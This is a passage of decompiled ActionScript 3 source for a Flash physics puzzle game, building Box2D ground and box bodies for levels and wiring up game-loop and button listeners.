gro2_sh = new b2PolygonDef();
gro2_sh.SetAsBox(((stena2.width / 2) / 30), ((stena2.height / 2) / 30));
gro2_def = world.CreateBody(gro2);
gro2_def.CreateShape(gro2_sh);
gro2_def.SetMassFromShapes();
gro2_sh.density = 1;
gro3 = new b2BodyDef();
gro3.position.Set((stena3.x / 30), (stena3.y / 30));
gro3.userData = stena3;
gro3_sh = new b2PolygonDef();
gro3_sh.SetAsBox(((stena3.width / 2) / 30), ((stena3.height / 2) / 30));
gro3_def = world.CreateBody(gro3);
gro3_def.CreateShape(gro3_sh);
gro3_def.SetMassFromShapes();
gro3_sh.density = 1;
gro4 = new b2BodyDef();
gro4.position.Set((stena4.x / 30), (stena4.y / 30));
gro4.userData = stena4;
gro4_sh = new b2PolygonDef();
gro4_sh.SetAsBox(((stena4.width / 2) / 30), ((stena4.height / 2) / 30));
gro4_def = world.CreateBody(gro4);
gro4_def.CreateShape(gro4_sh);
gro4_def.SetMassFromShapes();
gro4_sh.density = 1;
gro5 = new b2BodyDef();
gro5.position.Set((stena5.x / 30), (stena5.y / 30));
gro5.userData = stena5;
gro5_sh = new b2PolygonDef();
gro5_sh.SetAsBox(((stena5.width / 2) / 30), ((stena5.height / 2) / 30));
gro5_def = world.CreateBody(gro5);
gro5_def.CreateShape(gro5_sh);
gro5_def.SetMassFromShapes();
gro5_sh.density = 1;
gro6 = new b2BodyDef();
gro6.position.Set((stena6.x / 30), (stena6.y / 30));
gro6.userData = stena6;
gro6_sh = new b2PolygonDef();
gro6_sh.SetAsBox(((stena6.width / 2) / 30), ((stena6.height / 2) / 30));
gro6_def = world.CreateBody(gro6);
gro6_def.CreateShape(gro6_sh);
gro6_def.SetMassFromShapes();
gro6_sh.density = 1;
gro7 = new b2BodyDef();
gro7.position.Set((gro7_cl.x / 30), (gro7_cl.y / 30));
gro7.userData = gro7_cl;
gro7_sh = new b2PolygonDef();
gro7_sh.SetAsBox(((gro7_cl.width / 2) / 30), ((gro7_cl.height / 2) / 30));
gro7_def = world.CreateBody(gro7);
gro7_def.CreateShape(gro7_sh);
gro7_def.SetMassFromShapes();
gro7_sh.density = 1;
gro8 = new b2BodyDef();
gro8.position.Set((gro8_cl.x / 30), (gro8_cl.y / 30));
gro8.userData = gro8_cl;
gro8_sh = new b2PolygonDef();
gro8_sh.SetAsBox(((gro8_cl.width / 2) / 30), ((gro8_cl.height / 2) / 30));
gro8_def = world.CreateBody(gro8);
gro8_def.CreateShape(gro8_sh);
gro8_def.SetMassFromShapes();
gro8_sh.density = 1;
i = 1;
while (i <= 8) {
mas_ground.push(i);
i++;
};
dim1_def = new b2BodyDef();
dim1_sh = new b2PolygonDef();
dim1_def.position.Set((dim1_cl.x / 30), (dim1_cl.y / 30));
dim1_sh.SetAsBox(((dim1_cl.width / 2) / 30), ((dim1_cl.height / 2) / 30));
dim1_sh.density = 1;
dim1_sh.friction = 1;
dim1_sh.restitution = 0.1;
dim1_def.userData = dim1_cl;
dim1 = world.CreateBody(dim1_def);
dim1.CreateShape(dim1_sh);
dim1.SetMassFromShapes();
dim2_def = new b2BodyDef();
dim2_sh = new b2PolygonDef();
dim2_def.position.Set((dim2_cl.x / 30), (dim2_cl.y / 30));
dim2_sh.SetAsBox(((dim2_cl.width / 2) / 30), ((dim2_cl.height / 2) / 30));
dim2_def.userData = dim2_cl;
dim2_sh.density = 1;
dim2_sh.friction = 1;
dim2_sh.restitution = 0.1;
dim2 = world.CreateBody(dim2_def);
dim2.CreateShape(dim2_sh);
dim2.SetMassFromShapes();
dim3_def = new b2BodyDef();
dim3_sh = new b2PolygonDef();
dim3_def.position.Set((dim3_cl.x / 30), (dim3_cl.y / 30));
dim3_sh.SetAsBox(((dim3_cl.width / 2) / 30), ((dim3_cl.height / 2) / 30));
dim3_def.userData = dim3_cl;
dim3_sh.density = 1;
dim3_sh.friction = 1;
dim3_sh.restitution = 0.1;
dim3 = world.CreateBody(dim3_def);
dim3.CreateShape(dim3_sh);
dim3.SetMassFromShapes();
dim4_def = new b2BodyDef();
dim4_sh = new b2PolygonDef();
dim4_def.position.Set((dim4_cl.x / 30), (dim4_cl.y / 30));
dim4_sh.SetAsBox(((dim4_cl.width / 2) / 30), ((dim4_cl.height / 2) / 30));
dim4_def.userData = dim4_cl;
dim4_sh.density = 1;
dim4_sh.friction = 1;
dim4_sh.restitution = 0.1;
dim4 = world.CreateBody(dim4_def);
dim4.CreateShape(dim4_sh);
dim4.SetMassFromShapes();
dim5_def = new b2BodyDef();
dim5_sh = new b2PolygonDef();
dim5_def.position.Set((dim5_cl.x / 30), (dim5_cl.y / 30));
dim5_sh.SetAsBox(((dim5_cl.width / 2) / 30), ((dim5_cl.height / 2) / 30));
dim5_def.userData = dim5_cl;
dim5_sh.density = 1;
dim5_sh.friction = 1;
dim5_sh.restitution = 0.1;
dim5 = world.CreateBody(dim5_def);
dim5.CreateShape(dim5_sh);
dim5.SetMassFromShapes();
dim6_def = new b2BodyDef();
dim6_sh = new b2PolygonDef();
dim6_def.position.Set((dim6_cl.x / 30), (dim6_cl.y / 30));
dim6_sh.SetAsBox(((dim6_cl.width / 2) / 30), ((dim6_cl.height / 2) / 30));
dim6_def.userData = dim6_cl;
dim6_sh.density = 1;
dim6_sh.friction = 1;
dim6_sh.restitution = 0.1;
dim6 = world.CreateBody(dim6_def);
dim6.CreateShape(dim6_sh);
dim6.SetMassFromShapes();
dim7_def = new b2BodyDef();
dim7_sh = new b2PolygonDef();
dim7_def.position.Set((dim7_cl.x / 30), (dim7_cl.y / 30));
dim7_sh.SetAsBox(((dim7_cl.width / 2) / 30), ((dim7_cl.height / 2) / 30));
dim7_def.userData = dim7_cl;
dim7_sh.density = 1;
dim7_sh.friction = 1;
dim7_sh.restitution = 0.1;
dim7 = world.CreateBody(dim7_def);
dim7.CreateShape(dim7_sh);
dim7.SetMassFromShapes();
dim8_def = new b2BodyDef();
dim8_sh = new b2PolygonDef();
dim8_def.position.Set((dim8_cl.x / 30), (dim8_cl.y / 30));
dim8_sh.SetAsBox(((dim8_cl.width / 2) / 30), ((dim8_cl.height / 2) / 30));
dim8_def.userData = dim8_cl;
dim8_sh.density = 1;
dim8_sh.friction = 1;
dim8_sh.restitution = 0.1;
dim8 = world.CreateBody(dim8_def);
dim8.CreateShape(dim8_sh);
dim8.SetMassFromShapes();
dim9_def = new b2BodyDef();
dim9_sh = new b2PolygonDef();
dim9_def.position.Set((dim9_cl.x / 30), (dim9_cl.y / 30));
dim9_sh.SetAsBox(((dim9_cl.width / 2) / 30), ((dim9_cl.height / 2) / 30));
dim9_def.userData = dim9_cl;
dim9_sh.density = 1;
dim9_sh.friction = 1;
dim9_sh.restitution = 0.1;
dim9 = world.CreateBody(dim9_def);
dim9.CreateShape(dim9_sh);
dim9.SetMassFromShapes();
dim10_def = new b2BodyDef();
dim10_sh = new b2PolygonDef();
dim10_def.position.Set((dim10_cl.x / 30), (dim10_cl.y / 30));
dim10_sh.SetAsBox(((dim10_cl.width / 2) / 30), ((dim10_cl.height / 2) / 30));
dim10_def.userData = dim10_cl;
dim10_sh.density = 1;
dim10_sh.friction = 1;
dim10_sh.restitution = 0.1;
dim10 = world.CreateBody(dim10_def);
dim10.CreateShape(dim10_sh);
dim10.SetMassFromShapes();
dim11_def = new b2BodyDef();
dim11_sh = new b2PolygonDef();
dim11_def.position.Set((dim11_cl.x / 30), (dim11_cl.y / 30));
dim11_sh.SetAsBox(((dim11_cl.width / 2) / 30), ((dim11_cl.height / 2) / 30));
dim11_def.userData = dim11_cl;
dim11_sh.density = 1;
dim11_sh.friction = 1;
dim11_sh.restitution = 0.1;
dim11 = world.CreateBody(dim11_def);
dim11.CreateShape(dim11_sh);
dim11.SetMassFromShapes();
dim12_def = new b2BodyDef();
dim12_sh = new b2PolygonDef();
dim12_def.position.Set((dim12_cl.x / 30), (dim12_cl.y / 30));
dim12_sh.SetAsBox(((dim12_cl.width / 2) / 30), ((dim12_cl.height / 2) / 30));
dim12_def.userData = dim12_cl;
dim12_sh.density = 1;
dim12_sh.friction = 1;
dim12_sh.restitution = 0.1;
dim12 = world.CreateBody(dim12_def);
dim12.CreateShape(dim12_sh);
dim12.SetMassFromShapes();
dim13_def = new b2BodyDef();
dim13_sh = new b2PolygonDef();
dim13_def.position.Set((dim13_cl.x / 30), (dim13_cl.y / 30));
dim13_sh.SetAsBox(((dim13_cl.width / 2) / 30), ((dim13_cl.height / 2) / 30));
dim13_def.userData = dim13_cl;
dim13_sh.density = 1;
dim13_sh.friction = 1;
dim13_sh.restitution = 0.1;
dim13 = world.CreateBody(dim13_def);
dim13.CreateShape(dim13_sh);
dim13.SetMassFromShapes();
dim14_def = new b2BodyDef();
dim14_sh = new b2PolygonDef();
dim14_def.position.Set((dim14_cl.x / 30), (dim14_cl.y / 30));
dim14_sh.SetAsBox(((dim14_cl.width / 2) / 30), ((dim14_cl.height / 2) / 30));
dim14_def.userData = dim14_cl;
dim14_sh.density = 1;
dim14_sh.friction = 1;
dim14_sh.restitution = 0.1;
dim14 = world.CreateBody(dim14_def);
dim14.CreateShape(dim14_sh);
dim14.SetMassFromShapes();
dim15_def = new b2BodyDef();
dim15_sh = new b2PolygonDef();
dim15_def.position.Set((dim15_cl.x / 30), (dim15_cl.y / 30));
dim15_sh.SetAsBox(((dim15_cl.width / 2) / 30), ((dim15_cl.height / 2) / 30));
dim15_def.userData = dim15_cl;
dim15_sh.density = 1;
dim15_sh.friction = 1;
dim15_sh.restitution = 0.1;
dim15 = world.CreateBody(dim15_def);
dim15.CreateShape(dim15_sh);
dim15.SetMassFromShapes();
dim16_def = new b2BodyDef();
dim16_sh = new b2PolygonDef();
dim16_def.position.Set((dim16_cl.x / 30), (dim16_cl.y / 30));
dim16_sh.SetAsBox(((dim16_cl.width / 2) / 30), ((dim16_cl.height / 2) / 30));
dim16_def.userData = dim16_cl;
dim16_sh.density = 1;
dim16_sh.friction = 1;
dim16_sh.restitution = 0.1;
dim16 = world.CreateBody(dim16_def);
dim16.CreateShape(dim16_sh);
dim16.SetMassFromShapes();
dim17_def = new b2BodyDef();
dim17_sh = new b2PolygonDef();
dim17_def.position.Set((dim17_cl.x / 30), (dim17_cl.y / 30));
dim17_sh.SetAsBox(((dim17_cl.width / 2) / 30), ((dim17_cl.height / 2) / 30));
dim17_def.userData = dim17_cl;
dim17_sh.density = 1;
dim17_sh.friction = 1;
dim17_sh.restitution = 0.1;
dim17 = world.CreateBody(dim17_def);
dim17.CreateShape(dim17_sh);
dim17.SetMassFromShapes();
dim18_def = new b2BodyDef();
dim18_sh = new b2PolygonDef();
dim18_def.position.Set((dim18_cl.x / 30), (dim18_cl.y / 30));
dim18_sh.SetAsBox(((dim18_cl.width / 2) / 30), ((dim18_cl.height / 2) / 30));
dim18_def.userData = dim18_cl;
dim18_sh.density = 1;
dim18_sh.friction = 1;
dim18_sh.restitution = 0.1;
dim18 = world.CreateBody(dim18_def);
dim18.CreateShape(dim18_sh);
dim18.SetMassFromShapes();
dim19_def = new b2BodyDef();
dim19_sh = new b2PolygonDef();
dim19_def.position.Set((dim19_cl.x / 30), (dim19_cl.y / 30));
dim19_sh.SetAsBox(((dim19_cl.width / 2) / 30), ((dim19_cl.height / 2) / 30));
dim19_def.userData = dim19_cl;
dim19_sh.density = 1;
dim19_sh.friction = 1;
dim19_sh.restitution = 0.1;
dim19 = world.CreateBody(dim19_def);
dim19.CreateShape(dim19_sh);
dim19.SetMassFromShapes();
dim20_def = new b2BodyDef();
dim20_sh = new b2PolygonDef();
dim20_def.position.Set((dim20_cl.x / 30), (dim20_cl.y / 30));
dim20_sh.SetAsBox(((dim20_cl.width / 2) / 30), ((dim20_cl.height / 2) / 30));
dim20_def.userData = dim20_cl;
dim20_sh.density = 1;
dim20_sh.friction = 1;
dim20_sh.restitution = 0.1;
dim20 = world.CreateBody(dim20_def);
dim20.CreateShape(dim20_sh);
dim20.SetMassFromShapes();
dim21_def = new b2BodyDef();
dim21_sh = new b2PolygonDef();
dim21_def.position.Set((dim21_cl.x / 30), (dim21_cl.y / 30));
dim21_sh.SetAsBox(((dim21_cl.width / 2) / 30), ((dim21_cl.height / 2) / 30));
dim21_def.userData = dim21_cl;
dim21_sh.density = 1;
dim21_sh.friction = 1;
dim21_sh.restitution = 0.1;
dim21 = world.CreateBody(dim21_def);
dim21.CreateShape(dim21_sh);
dim21.SetMassFromShapes();
dim22_def = new b2BodyDef();
dim22_sh = new b2PolygonDef();
dim22_def.position.Set((dim22_cl.x / 30), (dim22_cl.y / 30));
dim22_sh.SetAsBox(((dim22_cl.width / 2) / 30), ((dim22_cl.height / 2) / 30));
dim22_def.userData = dim22_cl;
dim22_sh.density = 1;
dim22_sh.friction = 1;
dim22_sh.restitution = 0.1;
dim22 = world.CreateBody(dim22_def);
dim22.CreateShape(dim22_sh);
dim22.SetMassFromShapes();
dim23_def = new b2BodyDef();
dim23_sh = new b2PolygonDef();
dim23_def.position.Set((dim23_cl.x / 30), (dim23_cl.y / 30));
dim23_sh.SetAsBox(((dim23_cl.width / 2) / 30), ((dim23_cl.height / 2) / 30));
dim23_def.userData = dim23_cl;
dim23_sh.density = 1;
dim23_sh.friction = 1;
dim23_sh.restitution = 0.1;
dim23 = world.CreateBody(dim23_def);
dim23.CreateShape(dim23_sh);
dim23.SetMassFromShapes();
dim24_def = new b2BodyDef();
dim24_sh = new b2PolygonDef();
dim24_def.position.Set((dim24_cl.x / 30), (dim24_cl.y / 30));
dim24_sh.SetAsBox(((dim24_cl.width / 2) / 30), ((dim24_cl.height / 2) / 30));
dim24_def.userData = dim24_cl;
dim24_sh.density = 1;
dim24_sh.friction = 1;
dim24_sh.restitution = 0.1;
dim24 = world.CreateBody(dim24_def);
dim24.CreateShape(dim24_sh);
dim24.SetMassFromShapes();
dim25_def = new b2BodyDef();
dim25_sh = new b2PolygonDef();
dim25_def.position.Set((dim25_cl.x / 30), (dim25_cl.y / 30));
dim25_sh.SetAsBox(((dim25_cl.width / 2) / 30), ((dim25_cl.height / 2) / 30));
dim25_def.userData = dim25_cl;
dim25_sh.density = 1;
dim25_sh.friction = 1;
dim25_sh.restitution = 0.1;
dim25 = world.CreateBody(dim25_def);
dim25.CreateShape(dim25_sh);
dim25.SetMassFromShapes();
dim26_def = new b2BodyDef();
dim26_sh = new b2PolygonDef();
dim26_def.position.Set((dim26_cl.x / 30), (dim26_cl.y / 30));
dim26_sh.SetAsBox(((dim26_cl.width / 2) / 30), ((dim26_cl.height / 2) / 30));
dim26_def.userData = dim26_cl;
dim26_sh.density = 1;
dim26_sh.friction = 1;
dim26_sh.restitution = 0.1;
dim26 = world.CreateBody(dim26_def);
dim26.CreateShape(dim26_sh);
dim26.SetMassFromShapes();
dim27_def = new b2BodyDef();
dim27_sh = new b2PolygonDef();
dim27_def.position.Set((dim27_cl.x / 30), (dim27_cl.y / 30));
dim27_sh.SetAsBox(((dim27_cl.width / 2) / 30), ((dim27_cl.height / 2) / 30));
dim27_def.userData = dim27_cl;
dim27_sh.density = 1;
dim27_sh.friction = 1;
dim27_sh.restitution = 0.1;
dim27 = world.CreateBody(dim27_def);
dim27.CreateShape(dim27_sh);
dim27.SetMassFromShapes();
dim28_def = new b2BodyDef();
dim28_sh = new b2PolygonDef();
dim28_def.position.Set((dim28_cl.x / 30), (dim28_cl.y / 30));
dim28_sh.SetAsBox(((dim28_cl.width / 2) / 30), ((dim28_cl.height / 2) / 30));
dim28_def.userData = dim28_cl;
dim28_sh.density = 1;
dim28_sh.friction = 1;
dim28_sh.restitution = 0.1;
dim28 = world.CreateBody(dim28_def);
dim28.CreateShape(dim28_sh);
dim28.SetMassFromShapes();
dim29_def = new b2BodyDef();
dim29_sh = new b2PolygonDef();
dim29_def.position.Set((dim29_cl.x / 30), (dim29_cl.y / 30));
dim29_sh.SetAsBox(((dim29_cl.width / 2) / 30), ((dim29_cl.height / 2) / 30));
dim29_def.userData = dim29_cl;
dim29_sh.density = 1;
dim29_sh.friction = 1;
dim29_sh.restitution = 0.1;
dim29 = world.CreateBody(dim29_def);
dim29.CreateShape(dim29_sh);
dim29.SetMassFromShapes();
dim30_def = new b2BodyDef();
dim30_sh = new b2PolygonDef();
dim30_def.position.Set((dim30_cl.x / 30), (dim30_cl.y / 30));
dim30_sh.SetAsBox(((dim30_cl.width / 2) / 30), ((dim30_cl.height / 2) / 30));
dim30_def.userData = dim30_cl;
dim30_sh.density = 1;
dim30_sh.friction = 1;
dim30_sh.restitution = 0.1;
dim30 = world.CreateBody(dim30_def);
dim30.CreateShape(dim30_sh);
dim30.SetMassFromShapes();
dim31_def = new b2BodyDef();
dim31_sh = new b2PolygonDef();
dim31_def.position.Set((dim31_cl.x / 30), (dim31_cl.y / 30));
dim31_sh.SetAsBox(((dim31_cl.width / 2) / 30), ((dim31_cl.height / 2) / 30));
dim31_def.userData = dim31_cl;
dim31_sh.density = 1;
dim31_sh.friction = 1;
dim31_sh.restitution = 0.1;
dim31 = world.CreateBody(dim31_def);
dim31.CreateShape(dim31_sh);
dim31.SetMassFromShapes();
dim32_def = new b2BodyDef();
dim32_sh = new b2PolygonDef();
dim32_def.position.Set((dim32_cl.x / 30), (dim32_cl.y / 30));
dim32_sh.SetAsBox(((dim32_cl.width / 2) / 30), ((dim32_cl.height / 2) / 30));
dim32_def.userData = dim32_cl;
dim32_sh.density = 1;
dim32_sh.friction = 1;
dim32_sh.restitution = 0.1;
dim32 = world.CreateBody(dim32_def);
dim32.CreateShape(dim32_sh);
dim32.SetMassFromShapes();
dim33_def = new b2BodyDef();
dim33_sh = new b2PolygonDef();
dim33_def.position.Set((dim33_cl.x / 30), (dim33_cl.y / 30));
dim33_sh.SetAsBox(((dim33_cl.width / 2) / 30), ((dim33_cl.height / 2) / 30));
dim33_def.userData = dim33_cl;
dim33_sh.density = 1;
dim33_sh.friction = 1;
dim33_sh.restitution = 0.1;
dim33 = world.CreateBody(dim33_def);
dim33.CreateShape(dim33_sh);
dim33.SetMassFromShapes();
dim34_def = new b2BodyDef();
dim34_sh = new b2PolygonDef();
dim34_def.position.Set((dim34_cl.x / 30), (dim34_cl.y / 30));
dim34_sh.SetAsBox(((dim34_cl.width / 2) / 30), ((dim34_cl.height / 2) / 30));
dim34_def.userData = dim34_cl;
dim34_sh.density = 1;
dim34_sh.friction = 1;
dim34_sh.restitution = 0.1;
dim34 = world.CreateBody(dim34_def);
dim34.CreateShape(dim34_sh);
dim34.SetMassFromShapes();
if (sav.data.obuc_per == 97){
addEventListener(Event.ENTER_FRAME, up_w);
addEventListener(Event.ENTER_FRAME, game_f);
addEventListener(Event.ENTER_FRAME, add_hero);
zvuk_bt.addEventListener(MouseEvent.CLICK, nagal_zvuk);
again_bt.addEventListener(MouseEvent.CLICK, again_f);
home_bt.addEventListener(MouseEvent.CLICK, home_f);
obuc_cl.gotoAndStop(3);
} else {
addEventListener(Event.ENTER_FRAME, obuc_ang);
obuc_cl.next_bt.addEventListener(MouseEvent.CLICK, obuc_f);
sav.data.obuc_per = 97;
sav.flush();
};
}
function frame44(){
cel = 3;
kol_cel = cel;
kol_hero = 18;
kol_hero_tx.text = ("x" + kol_hero.toString());
pos_hero_x = 18;
pos_hero_y = 307;
i = 1;
while (i <= 63) {
mas_balka.push(i);
mas_balka_giz.push(4);
i++;
};
locations = 24;
score_game = 0;
gro1 = new b2BodyDef();
gro1.position.Set((stena1.x / 30), (stena1.y / 30));
gro1.userData = stena1;
gro1_sh = new b2PolygonDef();
gro1_sh.SetAsBox(((stena1.width / 2) / 30), ((stena1.height / 2) / 30));
gro1_def = world.CreateBody(gro1);
gro1_def.CreateShape(gro1_sh);
gro1_def.SetMassFromShapes();
gro1_sh.density = 1;
gro2 = new b2BodyDef();
gro2.position.Set((stena2.x / 30), (stena2.y / 30));
gro2.userData = stena2;
gro2_sh = new b2PolygonDef();
gro2_sh.SetAsBox(((stena2.width / 2) / 30), ((stena2.height / 2) / 30));
gro2_def = world.CreateBody(gro2);
gro2_def.CreateShape(gro2_sh);
gro2_def.SetMassFromShapes();
gro2_sh.density = 1;
gro3 = new b2BodyDef();
gro3.position.Set((stena3.x / 30), (stena3.y / 30));
gro3.userData = stena3;
gro3_sh = new b2PolygonDef();
gro3_sh.SetAsBox(((stena3.width / 2) / 30), ((stena3.height / 2) / 30));
gro3_def = world.CreateBody(gro3);
gro3_def.CreateShape(gro3_sh);
gro3_def.SetMassFromShapes();
gro3_sh.density = 1;
gro4 = new b2BodyDef();
gro4.position.Set((stena4.x / 30), (stena4.y / 30));
gro4.userData = stena4;
gro4_sh = new b2PolygonDef();
gro4_sh.SetAsBox(((stena4.width / 2) / 30), ((stena4.height / 2) / 30));
gro4_def = world.CreateBody(gro4);
gro4_def.CreateShape(gro4_sh);
gro4_def.SetMassFromShapes();
gro4_sh.density = 1;
gro5 = new b2BodyDef();
gro5.position.Set((stena5.x / 30), (stena5.y / 30));
gro5.userData = stena5;
gro5_sh = new b2PolygonDef();
gro5_sh.SetAsBox(((stena5.width / 2) / 30), ((stena5.height / 2) / 30));
gro5_def = world.CreateBody(gro5);
gro5_def.CreateShape(gro5_sh);
gro5_def.SetMassFromShapes();
gro5_sh.density = 1;
gro6 = new b2BodyDef();
gro6.position.Set((stena6.x / 30), (stena6.y / 30));
gro6.userData = stena6;
gro6_sh = new b2PolygonDef();
gro6_sh.SetAsBox(((stena6.width / 2) / 30), ((stena6.height / 2) / 30));
gro6_def = world.CreateBody(gro6);
gro6_def.CreateShape(gro6_sh);
gro6_def.SetMassFromShapes();
gro6_sh.density = 1;
gro7 = new b2BodyDef();
gro7.position.Set((gro7_cl.x / 30), (gro7_cl.y / 30));
gro7.userData = gro7_cl;
gro7_sh = new b2PolygonDef();
gro7_sh.SetAsBox(((gro7_cl.width / 2) / 30), ((gro7_cl.height / 2) / 30));
gro7_def = world.CreateBody(gro7);
gro7_def.CreateShape(gro7_sh);
gro7_def.SetMassFromShapes();
gro7_sh.density = 1;
gro8 = new b2BodyDef();
gro8.position.Set((gro8_cl.x / 30), (gro8_cl.y / 30));
gro8.userData = gro8_cl;
gro8_sh = new b2PolygonDef();
gro8_sh.SetAsBox(((gro8_cl.width / 2) / 30), ((gro8_cl.height / 2) / 30));
gro8_def = world.CreateBody(gro8);
gro8_def.CreateShape(gro8_sh);
gro8_def.SetMassFromShapes();
gro8_sh.density = 1;
i = 1;
while (i <= 8) {
mas_ground.push(i);
i++;
};
dim1_def = new b2BodyDef();
dim1_sh = new b2PolygonDef();
dim1_def.position.Set((dim1_cl.x / 30), (dim1_cl.y / 30));
dim1_sh.SetAsBox(((dim1_cl.width / 2) / 30), ((dim1_cl.height / 2) / 30));
dim1_sh.density = 10;
dim1_sh.friction = 1;
dim1_sh.restitution = 0.1;
dim1_def.userData = dim1_cl;
dim1 = world.CreateBody(dim1_def);
dim1.CreateShape(dim1_sh);
dim1.SetMassFromShapes();
dim2_def = new b2BodyDef();
dim2_sh = new b2PolygonDef();
dim2_def.position.Set((dim2_cl.x / 30), (dim2_cl.y / 30));
dim2_sh.SetAsBox(((dim2_cl.width / 2) / 30), ((dim2_cl.height / 2) / 30));
dim2_def.userData = dim2_cl;
dim2_sh.density = 10;
dim2_sh.friction = 1;
dim2_sh.restitution = 0.1;
dim2 = world.CreateBody(dim2_def);
dim2.CreateShape(dim2_sh);
dim2.SetMassFromShapes();
dim3_def = new b2BodyDef();
dim3_sh = new b2PolygonDef();
dim3_def.position.Set((dim3_cl.x / 30), (dim3_cl.y / 30));
dim3_sh.SetAsBox(((dim3_cl.width / 2) / 30), ((dim3_cl.height / 2) / 30));
dim3_def.userData = dim3_cl;
dim3_sh.density = 10;
dim3_sh.friction = 1;
dim3_sh.restitution = 0.1;
dim3 = world.CreateBody(dim3_def);
dim3.CreateShape(dim3_sh);
dim3.SetMassFromShapes();
dim4_def = new b2BodyDef();
dim4_sh = new b2PolygonDef();
dim4_def.position.Set((dim4_cl.x / 30), (dim4_cl.y / 30));
dim4_sh.SetAsBox(((dim4_cl.width / 2) / 30), ((dim4_cl.height / 2) / 30));
dim4_def.userData = dim4_cl;
dim4_sh.density = 10;
dim4_sh.friction = 1;
dim4_sh.restitution = 0.1;
dim4 = world.CreateBody(dim4_def);
dim4.CreateShape(dim4_sh);
dim4.SetMassFromShapes();
dim5_def = new b2BodyDef();
dim5_sh = new b2PolygonDef();
dim5_def.position.Set((dim5_cl.x / 30), (dim5_cl.y / 30));
dim5_sh.SetAsBox(((dim5_cl.width / 2) / 30), ((dim5_cl.height / 2) / 30));
dim5_def.userData = dim5_cl;
dim5_sh.density = 10;
dim5_sh.friction = 1;
dim5_sh.restitution = 0.1;
dim5 = world.CreateBody(dim5_def);
dim5.CreateShape(dim5_sh);
dim5.SetMassFromShapes();
dim6_def = new b2BodyDef();
dim6_sh = new b2PolygonDef();
dim6_def.position.Set((dim6_cl.x / 30), (dim6_cl.y / 30));
dim6_sh.SetAsBox(((dim6_cl.width / 2) / 30), ((dim6_cl.height / 2) / 30));
dim6_def.userData = dim6_cl;
dim6_sh.density = 10;
dim6_sh.friction = 1;
dim6_sh.restitution = 0.1;
dim6 = world.CreateBody(dim6_def);
dim6.CreateShape(dim6_sh);
dim6.SetMassFromShapes();
dim7_def = new b2BodyDef();
dim7_sh = new b2PolygonDef();
dim7_def.position.Set((dim7_cl.x / 30), (dim7_cl.y / 30));
dim7_sh.SetAsBox(((dim7_cl.width / 2) / 30), ((dim7_cl.height / 2) / 30));
dim7_def.userData = dim7_cl;
dim7_sh.density = 10;
dim7_sh.friction = 1;
dim7_sh.restitution = 0.1;
dim7 = world.CreateBody(dim7_def);
dim7.CreateShape(dim7_sh);
dim7.SetMassFromShapes();
dim8_def = new b2BodyDef();
dim8_sh = new b2PolygonDef();
dim8_def.position.Set((dim8_cl.x / 30), (dim8_cl.y / 30));
dim8_sh.SetAsBox(((dim8_cl.width / 2) / 30), ((dim8_cl.height / 2) / 30));
dim8_def.userData = dim8_cl;
dim8_sh.density = 1;
dim8_sh.friction = 1;
dim8_sh.restitution = 0.1;
dim8 = world.CreateBody(dim8_def);
dim8.CreateShape(dim8_sh);
dim8.SetMassFromShapes();
dim9_def = new b2BodyDef();
dim9_sh = new b2PolygonDef();
dim9_def.position.Set((dim9_cl.x / 30), (dim9_cl.y / 30));
dim9_sh.SetAsBox(((dim9_cl.width / 2) / 30), ((dim9_cl.height / 2) / 30));
dim9_def.userData = dim9_cl;
dim9_sh.density = 1;
dim9_sh.friction = 1;
dim9_sh.restitution = 0.1;
dim9 = world.CreateBody(dim9_def);
dim9.CreateShape(dim9_sh);
dim9.SetMassFromShapes();
dim10_def = new b2BodyDef();
dim10_sh = new b2PolygonDef();
dim10_def.position.Set((dim10_cl.x / 30), (dim10_cl.y / 30));
dim10_sh.SetAsBox(((dim10_cl.width / 2) / 30), ((dim10_cl.height / 2) / 30));
dim10_def.userData = dim10_cl;
dim10_sh.density = 1;
dim10_sh.friction = 1;
dim10_sh.restitution = 0.1;
dim10 = world.CreateBody(dim10_def);
dim10.CreateShape(dim10_sh);
dim10.SetMassFromShapes();
dim11_def = new b2BodyDef();
dim11_sh = new b2PolygonDef();
dim11_def.position.Set((dim11_cl.x / 30), (dim11_cl.y / 30));
dim11_sh.SetAsBox(((dim11_cl.width / 2) / 30), ((dim11_cl.height / 2) / 30));
dim11_def.userData = dim11_cl;
dim11_sh.density = 1;
dim11_sh.friction = 1;
dim11_sh.restitution = 0.1;
dim11 = world.CreateBody(dim11_def);
dim11.CreateShape(dim11_sh);
dim11.SetMassFromShapes();
dim12_def = new b2BodyDef();
dim12_sh = new b2PolygonDef();
dim12_def.position.Set((dim12_cl.x / 30), (dim12_cl.y / 30));
dim12_sh.SetAsBox(((dim12_cl.width / 2) / 30), ((dim12_cl.height / 2) / 30));
dim12_def.userData = dim12_cl;
dim12_sh.density = 1;
dim12_sh.friction = 1;
dim12_sh.restitution = 0.1;
dim12 = world.CreateBody(dim12_def);
dim12.CreateShape(dim12_sh);
dim12.SetMassFromShapes();
dim13_def = new b2BodyDef();
dim13_sh = new b2PolygonDef();
dim13_def.position.Set((dim13_cl.x / 30), (dim13_cl.y / 30));
dim13_sh.SetAsBox(((dim13_cl.width / 2) / 30), ((dim13_cl.height / 2) / 30));
dim13_def.userData = dim13_cl;
dim13_sh.density = 1;
dim13_sh.friction = 1;
dim13_sh.restitution = 0.1;
dim13 = world.CreateBody(dim13_def);
dim13.CreateShape(dim13_sh);
dim13.SetMassFromShapes();
dim14_def = new b2BodyDef();
dim14_sh = new b2PolygonDef();
dim14_def.position.Set((dim14_cl.x / 30), (dim14_cl.y / 30));
dim14_sh.SetAsBox(((dim14_cl.width / 2) / 30), ((dim14_cl.height / 2) / 30));
dim14_def.userData = dim14_cl;
dim14_sh.density = 1;
dim14_sh.friction = 1;
dim14_sh.restitution = 0.1;
dim14 = world.CreateBody(dim14_def);
dim14.CreateShape(dim14_sh);
dim14.SetMassFromShapes();
dim15_def = new b2BodyDef();
dim15_sh = new b2PolygonDef();
dim15_def.position.Set((dim15_cl.x / 30), (dim15_cl.y / 30));
dim15_sh.SetAsBox(((dim15_cl.width / 2) / 30), ((dim15_cl.height / 2) / 30));
dim15_def.userData = dim15_cl;
dim15_sh.density = 1;
dim15_sh.friction = 1;
dim15_sh.restitution = 0.1;
dim15 = world.CreateBody(dim15_def);
dim15.CreateShape(dim15_sh);
dim15.SetMassFromShapes();
dim16_def = new b2BodyDef();
dim16_sh = new b2PolygonDef();
dim16_def.position.Set((dim16_cl.x / 30), (dim16_cl.y / 30));
dim16_sh.SetAsBox(((dim16_cl.width / 2) / 30), ((dim16_cl.height / 2) / 30));
dim16_def.userData = dim16_cl;
dim16_sh.density = 1;
dim16_sh.friction = 1;
